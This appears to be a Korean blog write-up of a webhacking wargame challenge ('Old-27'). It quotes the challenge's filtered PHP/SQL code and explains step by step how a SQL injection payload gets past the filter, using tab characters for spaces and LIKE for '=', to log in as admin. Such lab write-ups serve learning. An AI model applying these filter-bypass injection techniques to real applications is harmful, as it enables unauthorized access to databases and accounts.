Season 1/워게임

Old - 27 Write Up

작성자 - LRTK

SQL Injection 문제인 듯하다.
소스코드를 주는 거 보니, 입력값에 대한 처리가 있는 기능이 있을 거라 추측된다.

 

코드를 확인해보니, 18번 문제와 비슷한 코드가 있었다.

<?php
if($_GET[‘no’]){
  $db = dbconnect();
  if(preg_match(“/#|select|\(| |limit|=|0x/I”, $_GET[‘no’])) exit(“no hack”);
  $r=mysqli_fetch_array(mysqli_query($db,”select id from chall27 where id=‘guest’ and no=({$_GET[‘no’]})”)) or die(“query error”);
  if($r[‘id’]==“guest”) echo(“guest”);
  if($r[‘id’]==“admin”) solve(27); // admin’s no = 2
}
?>

입력값을 preg_match로 필터를 걸었다. 해당 필터에 걸리면 no hack이라는 문구가 출력이 된다.
필터링 문자열은 #, select, \), 스페이스, limit, =, 0x이 있다.

 

위 문자열이 없으면, 쿼리문에 들어가기 되는데, 쿼리문은 or die라는 예외처리로 쿼리에 에러가 일어나면 query error가 출력된다.

 

나는 위 코드들을 좀 더 분석하기 좋게 따로 빼내서 작성하였다.

<?php
$stdin = fopen('php://stdin', 'r');
$input = trim(fread($stdin, 1024));
fclose($stdin);

$match = preg_match("/#|select|\(| |limit|=|0x/i", $input);
if ($match == 1){
    echo "Nop!!";
}

echo "select id from chall27 where id='guest' and no=({$input}) ";
?>

preg_match에 걸리면, Nop!!을 출력하게 해주었고, 쿼리문을 분석하기 좋게 출력하였다.

 

내가 1을 입력하면,

1
select id from chall27 where id='guest' and no=(1)

로 출력된다.

 

실제 페이지에선 1을 넣고 서버에 보내보니, guest로 로그인을 하였다.

 

실제 코드의 주석엔 admin의 no 값은 2라고 표시 되어있다.

 

18번 문제처럼, where절에 id='guest'로 되어있어서 2을 넣으면 False가 되기 때문에 쿼리문은 작동이 안된다.
그렇기 때문에 no=3 or no=2로 False or True로 True의 값을 만들어서 admin를 출력해야하지만, no의 값은 ()로 묶어져 있기 때문에 우회 방법을 찾아야 한다.

 

나는 3) or no=2--를 생각을 했지만, preg_match에 스페이스와 =이 걸리기 때문에 Nop!!이 출력이 되었다.

3) or no=2--
Nop!!select id from chall27 where id='guest' and no=(3) or no=2--)

 

그래서 문제 18번처럼 스페이스를 %09로 우회하였고, =는 SQL 쿼리인 like로 우회하였다.

3)%09or%09no%09like%092--
select id from chall27 where id='guest' and no=(3)%09or%09no%09like%092--)

 

그 결과 preg_match에 걸리지 않고 그대로 출력되는 것을 볼 수 있었다.

 

하지만, 페이지에서 query error가 발생하였고, 쿼리문에는 문제가 없다고 생각이 들어서 직접 Mysql에 쿼리를 시험해보았다.

 

Mysql는 18번 문제에서 만들었던 것을 재사용하였다.

 

위 SQL를 실행해보니, --)에서 에러가 발생된 것을 발견할 수 있었다.

 

그래서 스페이스로 )를 분리하여 -- )로 만들어서 쿼리를 실행하니, 에러가 발생되지 않고, admin이 출력되었다.

 

문제 페이지에 위 SQL 쿼리를 사이트에 넣어보겠다.

Flag를 획득하였다.

'Season 1 > 워게임' 카테고리의 다른 글

Old - 47 Write Up  (0) 2021.05.16
Old - 32 Write Up  (0) 2021.05.16
Old - 19 Write Up  (0) 2021.05.16
Old - 07  (0) 2021.05.16
Old - 54 Write Up  (0) 2021.05.15
Contents

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.